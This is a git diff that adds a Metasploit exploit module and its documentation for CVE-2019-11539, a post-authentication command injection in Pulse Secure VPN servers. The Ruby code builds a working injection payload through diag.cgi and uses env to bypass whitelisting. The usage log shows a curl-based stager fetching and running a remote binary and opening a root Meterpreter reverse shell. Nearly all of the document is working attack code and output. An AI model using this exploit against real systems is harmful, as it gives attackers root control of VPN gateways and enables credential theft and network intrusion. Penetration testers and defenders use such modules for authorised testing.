diff --git a/documentation/modules/exploit/linux/http/pulse_secure_cmd_exec.md b/documentation/modules/exploit/linux/http/pulse_secure_cmd_exec.md new file mode 100644 index 0000000000..a8a7d668f0 --- /dev/null +++ b/documentation/modules/exploit/linux/http/pulse_secure_cmd_exec.md @@ -0,0 +1,78 @@ +## Introduction + +This module exploits a post-auth command injection in the Pulse Secure +VPN server to execute commands as root. The `env(1)` command is used to +bypass application whitelisting and run arbitrary commands. + +Please see related module `auxiliary/gather/pulse_secure_file_disclosure` +for a pre-auth file read that is able to obtain plaintext and hashed +credentials, plus session IDs that may be used with this exploit. + +A valid administrator session ID is required in lieu of untested SSRF. + +## Targets + +``` +Id Name +-- ---- +0 Unix In-Memory +1 Linux Dropper +``` + +## Options + +**SID** + +Set this to a valid administrator session ID. Typically retrieved using +the `auxiliary/gather/pulse_secure_file_disclosure` module. + +## Usage + +``` +msf5 exploit(linux/http/pulse_secure_cmd_exec) > set sid 676f5f892e8c4a6419f10564f9e9d857 +sid => 676f5f892e8c4a6419f10564f9e9d857 +msf5 exploit(linux/http/pulse_secure_cmd_exec) > run + +[*] Started reverse TCP handler on 127.0.0.1:[redacted] +[+] Setting session cookie: DSID=676f5f892e8c4a6419f10564f9e9d857 +[*] Obtaining CSRF token +[+] CSRF token: 6b0e020e1de8c68c043ea0e4f663b7a5 +[*] Executing Linux Dropper target +[*] Using URL: https://0.0.0.0:[redacted]/HSEjp77 +[*] Local IP: https://[redacted]:[redacted]/HSEjp77 +[*] Generated command stager: ["curl -kso /tmp/qlUqDxCU https://[redacted]:[redacted]/HSEjp77", "chmod +x /tmp/qlUqDxCU", "/tmp/qlUqDxCU", "rm -f /tmp/qlUqDxCU"] +[*] Executing command: env /home/bin/curl -kso /tmp/qlUqDxCU https://[redacted]:[redacted]/HSEjp77 +[*] Yeeting exploit at https://[redacted]/dana-admin/diag/diag.cgi +[*] Triggering payload at https://[redacted]/dana-na/auth/setcookie.cgi +[*] Client 127.0.0.1 (curl/7.19.7 (i686-redhat-linux-gnu) libcurl/7.19.7 OpenSSL/1.0.1h zlib/1.2.3 libidn/1.18) requested /HSEjp77 +[*] Sending payload to 127.0.0.1 (curl/7.19.7 (i686-redhat-linux-gnu) libcurl/7.19.7 OpenSSL/1.0.1h zlib/1.2.3 libidn/1.18) +[+] Payload execution successful +[*] Command Stager progress - 63.96% done (71/111 bytes) +[*] Executing command: env chmod +x /tmp/qlUqDxCU +[*] Yeeting exploit at https://[redacted]/dana-admin/diag/diag.cgi +[*] Triggering payload at https://[redacted]/dana-na/auth/setcookie.cgi +[+] Payload execution successful +[*] Command Stager progress - 87.39% done (97/111 bytes) +[*] Executing command: env /tmp/qlUqDxCU +[*] Yeeting exploit at https://[redacted]/dana-admin/diag/diag.cgi +[*] Triggering payload at https://[redacted]/dana-na/auth/setcookie.cgi +[*] Meterpreter session 1 opened (127.0.0.1:[redacted] -> 127.0.0.1:53200) at 2019-11-12 02:05:40 -0600 +[!] Payload execution may have failed +[*] Command Stager progress - 102.70% done (114/111 bytes) +[*] Executing command: env rm -f /tmp/qlUqDxCU +[*] Yeeting exploit at https://[redacted]/dana-admin/diag/diag.cgi +[*] Triggering payload at https://[redacted]/dana-na/auth/setcookie.cgi +[+] Payload execution successful +[*] Command Stager progress - 123.42% done (137/111 bytes) +[*] Server stopped. + +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +meterpreter > sysinfo +Computer : [redacted] +OS : (Linux 2.6.32-00486-gddd7e32-dirty) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/pulse_secure_cmd_exec.rb b/modules/exploits/linux/http/pulse_secure_cmd_exec.rb new file mode 100644 index 0000000000..dbfd70c482 --- /dev/null +++ b/modules/exploits/linux/http/pulse_secure_cmd_exec.rb @@ -0,0 +1,178 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Pulse Secure VPN Arbitrary Command Execution', + 'Description' => %q{ + This module exploits a post-auth command injection in the Pulse Secure + VPN server to execute commands as root. The env(1) command is used to + bypass application whitelisting and run arbitrary commands. + + Please see related module auxiliary/gather/pulse_secure_file_disclosure + for a pre-auth file read that is able to obtain plaintext and hashed + credentials, plus session IDs that may be used with this exploit. + + A valid administrator session ID is required in lieu of untested SSRF. + }, + 'Author' => [ + 'Orange Tsai', # Discovery (@orange_8361) + 'Meh Chang', # Discovery (@mehqq_) + 'wvu' # Module + ], + 'References' => [ + ['CVE', '2019-11539'], + ['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'], + ['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'], + ['URL', 'https://hackerone.com/reports/591295'] + ], + 'DisclosureDate' => '2019-04-24', # Public disclosure + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Privileged' => true, + 'Targets' => [ + ['Unix In-Memory', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'Payload' => { + 'BadChars' => %Q(&*(){}[]`;|?\n~<>"'), + 'Encoder' => 'generic/none' # Force manual badchar analysis + }, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'} + ], + ['Linux Dropper', + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper, + 'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'} + ] + ], + 'DefaultTarget' => 1, + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true, + 'CMDSTAGER::SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], + 'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure'] + } + )) + + register_options([ + OptString.new('SID', [true, 'Valid admin session ID']) + ]) + end + + def post_auth? + true + end + + def exploit + get_csrf_token + + print_status("Executing #{target.name} target") + + case target['Type'] + when :unix_memory + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager( + flavor: :curl, + noconcat: true + ) + end + end + + def get_csrf_token + @cookie = "DSID=#{datastore['SID']}" + print_good("Setting session cookie: #{@cookie}") + + print_status('Obtaining CSRF token') + res = send_request_cgi( + 'method' => 'GET', + 'uri' => diag_cgi, + 'cookie' => @cookie + ) + + unless res && res.code == 200 && (@csrf_token = parse_csrf_token(res.body)) + fail_with(Failure::NoAccess, 'Session cookie expired or invalid') + end + + print_good("CSRF token: #{@csrf_token}") + end + + def parse_csrf_token(body) + body.to_s.scan(/xsauth=([[:xdigit:]]+)/).flatten.first + end + + def execute_command(cmd, _opts = {}) + # Prepend absolute path to curl(1), since it's not in $PATH + cmd.prepend('/home/bin/') if cmd.start_with?('curl') + + # Bypass application whitelisting with permitted env(1) + cmd.prepend('env ') + + vprint_status("Executing command: #{cmd}") + print_status("Yeeting exploit at #{full_uri(diag_cgi)}") + res = send_request_cgi( + 'method' => 'GET', + 'uri' => diag_cgi, + 'cookie' => @cookie, + 'vars_get' => { + 'a' => 'td', # tcpdump + 'options' => sploit(cmd), + 'xsauth' => @csrf_token, + 'toggle' => 'Start Sniffing' + } + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, 'Could not yeet exploit') + end + + print_status("Triggering payload at #{full_uri(setcookie_cgi)}") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => setcookie_cgi + }, 3.1337) + + # 200 response code, yet 500 error in body + unless res && res.code == 200 && !res.body.include?('500 Internal Error') + print_warning('Payload execution may have failed') + return + end + + print_good('Payload execution successful') + + if datastore['PAYLOAD'] == 'cmd/unix/generic' + print_line(res.body.sub(/\s*.*/m, '')) + end + end + + def sploit(cmd) + %(-r$x="#{cmd}",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <) + end + + def diag_cgi + '/dana-admin/diag/diag.cgi' + end + + def setcookie_cgi + '/dana-na/auth/setcookie.cgi' + end + +end